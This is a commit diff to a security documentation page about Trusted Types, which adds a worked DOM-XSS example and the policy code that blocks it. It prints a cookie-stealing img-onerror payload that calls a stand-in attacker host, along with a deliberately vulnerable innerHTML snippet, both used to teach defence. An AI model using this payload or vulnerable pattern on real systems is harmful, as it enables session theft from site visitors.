Skip to content

Commit 4e2da66

Browse files
jdevalkclaude
andcommitted
content(security): make the Trusted Types page show a concrete attack
Rework "Why it matters" around a worked DOM-XSS example: a search widget that writes location.search into innerHTML, the img-onerror cookie-exfiltration payload that abuses it, and the TypeError Trusted Types throws in its place. Add the three trusted types mapped to their sink families so the breadth beyond innerHTML is explicit. Use a single consistent policy name ("escape") across every snippet so they all validate under the page's own CSP, and explain the special auto-applied "default" name in How to implement. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
1 parent a54b92a commit 4e2da66

1 file changed

Lines changed: 32 additions & 5 deletions

File tree

src/content/spec/security/trusted-types.md

Lines changed: 32 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -28,32 +28,59 @@ sources:
2828
Trusted Types is a browser mechanism that blocks DOM-based cross-site scripting at the point of injection. DOM XSS happens when an attacker-controlled string reaches a dangerous "sink" — `innerHTML`, `outerHTML`, `document.write()`, `eval()`, or a script element's `src`. Trusted Types makes the browser refuse a plain string at those sinks and demand a non-spoofable typed value (`TrustedHTML`, `TrustedScript`, or `TrustedScriptURL`) produced by a policy you define and control. You enable it with two Content Security Policy directives:
2929

3030
```http
31-
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
31+
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types escape
3232
```
3333

3434
It reached [Baseline](https://web.dev/baseline) in February 2026 — Chrome and Edge have shipped it since 2020, Safari since version 26, and Firefox completed the set.
3535

3636
## Why it matters
3737

38-
A nonce-based [CSP](/spec/security/content-security-policy/) stops an attacker injecting or running a new external script, but DOM XSS needs no new script element: it abuses code already on the page that writes untrusted input into a sink. Trusted Types closes that gap. With `require-trusted-types-for 'script'` enforced, `element.innerHTML = userInput` throws a `TypeError` unless `userInput` is a `TrustedHTML` value. That turns an entire bug class from "exploitable" into "throws before it executes", and funnels every DOM-injection path through a small, auditable set of policies instead of scattered string concatenation.
38+
A nonce-based [CSP](/spec/security/content-security-policy/) stops an attacker injecting or running a new external script, but DOM XSS needs no new script element: it abuses code already on the page that writes untrusted input into a sink. Take a search widget that echoes the query from the URL:
39+
40+
```js
41+
// Vulnerable: q comes straight from the address bar
42+
const q = new URLSearchParams(location.search).get("q");
43+
results.innerHTML = `<h2>Results for ${q}</h2>`;
44+
```
45+
46+
A visitor sent to `?q=<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">` runs the attacker's script in your origin — the `onerror` handler fires the moment the broken image loads, and the session cookie leaves the building. No external script, no CSP `script-src` violation; a nonce never gets a look-in.
47+
48+
Trusted Types closes that gap. With `require-trusted-types-for 'script'` enforced, that `innerHTML` assignment throws a `TypeError` before the string ever reaches the parser, because `q` is a plain string and not a `TrustedHTML` value. To make the page work again you must route the value through a policy that sanitises it:
49+
50+
```js
51+
const policy = trustedTypes.createPolicy("escape", {
52+
createHTML: (s) => DOMPurify.sanitize(s),
53+
});
54+
results.innerHTML = policy.createHTML(`<h2>Results for ${q}</h2>`);
55+
```
56+
57+
The `<img onerror>` is now stripped before it lands. The win is structural: the question stops being "did every developer remember to sanitise every sink?" and becomes "does *any* sink receive an unsanitised string?" — and the browser answers that for you, everywhere, by throwing.
58+
59+
This covers more than `innerHTML`. The three trusted types guard the three families of script-execution sink:
60+
61+
- **`TrustedHTML`** — markup parsers: `innerHTML`, `outerHTML`, `document.write()`, `insertAdjacentHTML()`, `<iframe srcdoc>`.
62+
- **`TrustedScript`** — direct code execution: `eval()`, `new Function()`, inline event-handler properties, a `<script>` element's text.
63+
- **`TrustedScriptURL`** — loading code by URL: `<script src>`, `Worker()`, `import()`.
64+
65+
Each turns "exploitable" into "throws before it executes".
3966

4067
## How to implement
4168

4269
1. **Deploy in report-only first** so you can find every sink your code touches without breaking the page:
4370

4471
```http
45-
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; trusted-types default; report-to csp-endpoint
72+
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; trusted-types escape; report-to csp-endpoint
4673
```
4774

4875
2. **Create a policy that sanitises** rather than passing input through untouched. A vetted sanitiser such as DOMPurify is the usual choice:
4976

5077
```js
51-
trustedTypes.createPolicy("default", {
78+
trustedTypes.createPolicy("escape", {
5279
createHTML: (input) => DOMPurify.sanitize(input),
5380
});
5481
```
5582

56-
3. **Name the policies you allow** in the `trusted-types` directive. A policy literally named `default` is applied automatically wherever a sink expects a trusted value.
83+
3. **Name the policies you allow** in the `trusted-types` directive — here, `escape`. One name is special: a policy called `default` is applied automatically wherever a sink expects a trusted value, which lets you retrofit a large codebase without editing every call site.
5784
4. **Switch to enforcing** (`Content-Security-Policy`) once the report stream is clean.
5885

5986
## Common mistakes

0 commit comments

Comments
 (0)